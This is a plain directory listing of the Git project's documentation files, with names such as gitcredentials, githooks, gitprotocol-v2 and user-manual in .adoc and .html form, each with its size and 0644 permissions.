git.adoc File 44.78 KB 0644
git.html File 114.58 KB 0644
gitattributes.adoc File 49.31 KB 0644
gitattributes.html File 93.83 KB 0644
gitcli.adoc File 11.05 KB 0644
gitcli.html File 44.96 KB 0644
gitcore-tutorial.adoc File 60.78 KB 0644
gitcore-tutorial.html File 110.5 KB 0644
gitcredentials.adoc File 11.9 KB 0644
gitcredentials.html File 45.7 KB 0644
gitdiffcore.adoc File 13.75 KB 0644
gitdiffcore.html File 46.27 KB 0644
giteveryday.adoc File 14.08 KB 0644
giteveryday.html File 50.45 KB 0644
gitfaq.adoc File 25.85 KB 0644
gitfaq.html File 62.81 KB 0644
gitformat-bundle.adoc File 3.18 KB 0644
gitformat-bundle.html File 34.5 KB 0644
gitformat-chunk.adoc File 5.43 KB 0644
gitformat-chunk.html File 37.63 KB 0644
gitformat-commit-graph.adoc File 7.9 KB 0644
gitformat-commit-graph.html File 40.99 KB 0644
gitformat-index.adoc File 14.82 KB 0644
gitformat-index.html File 51.26 KB 0644
gitformat-loose.adoc File 1.82 KB 0644
gitformat-loose.html File 32.63 KB 0644
gitformat-pack.adoc File 26.6 KB 0644
gitformat-pack.html File 66.8 KB 0644
gitformat-signature.adoc File 7.9 KB 0644
gitformat-signature.html File 40.45 KB 0644
gitglossary.adoc File 359 B 0644
gitglossary.html File 72.52 KB 0644
githooks.adoc File 28.95 KB 0644
githooks.html File 69.51 KB 0644
gitignore.adoc File 8.99 KB 0644
gitignore.html File 41.23 KB 0644
gitmailmap.adoc File 3.47 KB 0644
gitmailmap.html File 35.82 KB 0644
gitmodules.adoc File 4.69 KB 0644
gitmodules.html File 36.81 KB 0644
gitnamespaces.adoc File 2.45 KB 0644
gitnamespaces.html File 35.24 KB 0644
gitpacking.adoc File 7.29 KB 0644
gitpacking.html File 45.18 KB 0644
gitprotocol-capabilities.adoc File 14.95 KB 0644
gitprotocol-capabilities.html File 49.99 KB 0644
gitprotocol-common.adoc File 3.1 KB 0644
gitprotocol-common.html File 34.55 KB 0644
gitprotocol-http.adoc File 17.57 KB 0644
gitprotocol-http.html File 55.35 KB 0644
gitprotocol-pack.adoc File 27.03 KB 0644
gitprotocol-pack.html File 64.46 KB 0644
gitprotocol-v2.adoc File 34.75 KB 0644
gitprotocol-v2.html File 75.14 KB 0644
gitremote-helpers.adoc File 21.15 KB 0644
gitremote-helpers.html File 58.39 KB 0644
gitrepository-layout.adoc File 11.61 KB 0644
gitrepository-layout.html File 48.94 KB 0644
gitrevisions.adoc File 824 B 0644
gitrevisions.html File 53.22 KB 0644
gitsubmodules.adoc File 10.13 KB 0644
gitsubmodules.html File 44.44 KB 0644
gittutorial-2.adoc File 14.4 KB 0644
gittutorial-2.html File 46.91 KB 0644
gittutorial.adoc File 22.43 KB 0644
gittutorial.html File 58.15 KB 0644
gitworkflows.adoc File 17.01 KB 0644
gitworkflows.html File 53.02 KB 0644
glossary-content.adoc File 32.31 KB 0644
howto-index.adoc File 3.91 KB 0644
howto-index.html File 36.01 KB 0644
i18n.adoc File 2.87 KB 0644
line-range-format.adoc File 1.15 KB 0644
line-range-options.adoc File 766 B 0644
merge-options.adoc File 7.26 KB 0644
merge-strategies.adoc File 6.36 KB 0644
mergetools-diff.adoc File 1.54 KB 0644
mergetools-merge.adoc File 2.6 KB 0644
object-format-disclaimer.adoc File 470 B 0644
pack-refs-options.adoc File 2.12 KB 0644
pretty-formats.adoc File 15.43 KB 0644
pretty-options.adoc File 4.43 KB 0644
pull-fetch-param.adoc File 5.44 KB 0644
ref-reachability-filters.adoc File 391 B 0644
ref-storage-format.adoc File 174 B 0644
rerere-options.adoc File 418 B 0644
rev-list-description.adoc File 2.47 KB 0644
rev-list-options.adoc File 48.59 KB 0644
revisions.adoc File 16.71 KB 0644
scalar.adoc File 7.27 KB 0644
scalar.html File 40.73 KB 0644
sequencer.adoc File 472 B 0644
signoff-option.adoc File 791 B 0644
trace2-target-values.adoc File 529 B 0644
transfer-data-leaks.adoc File 1.67 KB 0644
urls-remotes.adoc File 4.33 KB 0644
urls.adoc File 3.38 KB 0644
user-manual.adoc File 170.59 KB 0644
user-manual.html File 275.1 KB 0644